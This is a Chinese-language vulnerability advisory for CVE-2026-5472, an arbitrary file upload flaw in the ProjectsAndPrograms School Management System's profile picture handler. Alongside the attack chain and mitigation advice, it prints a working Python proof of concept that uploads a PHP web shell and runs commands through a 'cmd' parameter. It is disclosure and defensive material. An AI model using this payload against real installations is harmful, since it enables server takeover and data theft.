IPBUF安全漏洞报告
English
CVE-2026-5472 CVSS 6.3 中危

CVE-2026-5472 ProjectsAndPrograms学校管理系统任意文件上传漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-5472
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProjectsAndPrograms School Management System

相关标签

任意文件上传远程代码执行ProjectsAndProgramsCVE-2026-5472Web安全

漏洞概述

ProjectsAndPrograms School Management System在特定提交版本之前存在严重的安全漏洞。该漏洞源于/admin_panel/settings.php文件中的Profile Picture Handler组件未正确处理用户输入。由于系统对“File”参数缺乏严格的类型和内容验证,导致攻击者能够上传任意恶意文件。鉴于该漏洞可通过网络远程利用且仅需低权限,攻击者可通过上传Webshell获取服务器控制权,对系统的机密性、完整性和可用性造成威胁。

技术细节

该漏洞属于典型的任意文件上传漏洞,其根本原因在于服务器端缺乏严格的文件类型验证机制。在ProjectsAndPrograms学校管理系统的后台设置功能中,Profile Picture Handler组件负责处理用户头像上传。然而,/admin_panel/settings.php文件仅依赖前端或简单的后端检查,未对上传文件的扩展名、MIME类型及文件内容进行有效的双重验证。攻击者可以通过构造恶意HTTP POST请求,将“File”参数的值替换为带有恶意代码的PHP脚本。由于系统未重命名文件或限制可执行目录,该文件会被直接保留在Web根目录下。攻击者随后只需通过浏览器访问该文件的URL,即可触发Web服务器解析PHP代码,从而在服务器端执行任意系统命令。CVSS向量表明攻击复杂度低且无需用户交互,结合已公开的PoC,该漏洞极易被大规模利用,导致服务器被完全控制。

攻击链分析

STEP 1
1. 侦察与访问
攻击者识别出目标使用ProjectsAndPrograms School Management System,并获取低权限用户账户。
STEP 2
2. 漏洞利用
攻击者向/admin_panel/settings.php发送POST请求,利用“File”参数上传包含恶意代码的PHP文件。
STEP 3
3. 代码执行
攻击者猜测或通过响应确认上传路径,并在浏览器中访问该恶意PHP文件,触发服务器端代码执行。
STEP 4
4. 后渗透
利用获得的Shell权限进一步提权、窃取数据或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (adjust based on actual deployment) target_url = "http://target.com/admin_panel/settings.php" # Malicious PHP payload to execute system commands php_payload = "<?php system($_GET['cmd']); ?>" # The vulnerable parameter name is 'File' files = { 'File': ('shell.php', php_payload, 'application/x-php') } # Low privilege user session (required by PR:L) cookies = { 'PHPSESSID': 'attacker_session_id' } try: response = requests.post(target_url, files=files, cookies=cookies) if response.status_code == 200: print("[+] File uploaded successfully.") print("[+] Try accessing the uploaded file at: http://target.com/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed. Status code:", response.status_code) except Exception as e: print("Error:", e)

影响范围

ProjectsAndPrograms School Management System <= 6b6fae5426044f89c08d0dd101c7fa71f9042a59

防御指南

临时缓解措施
建议立即限制/admin_panel/settings.php的访问权限,并在Web服务器层面配置禁止上传目录执行脚本。对于无法立即更新的系统,应部署WAF规则拦截对该接口的可疑文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表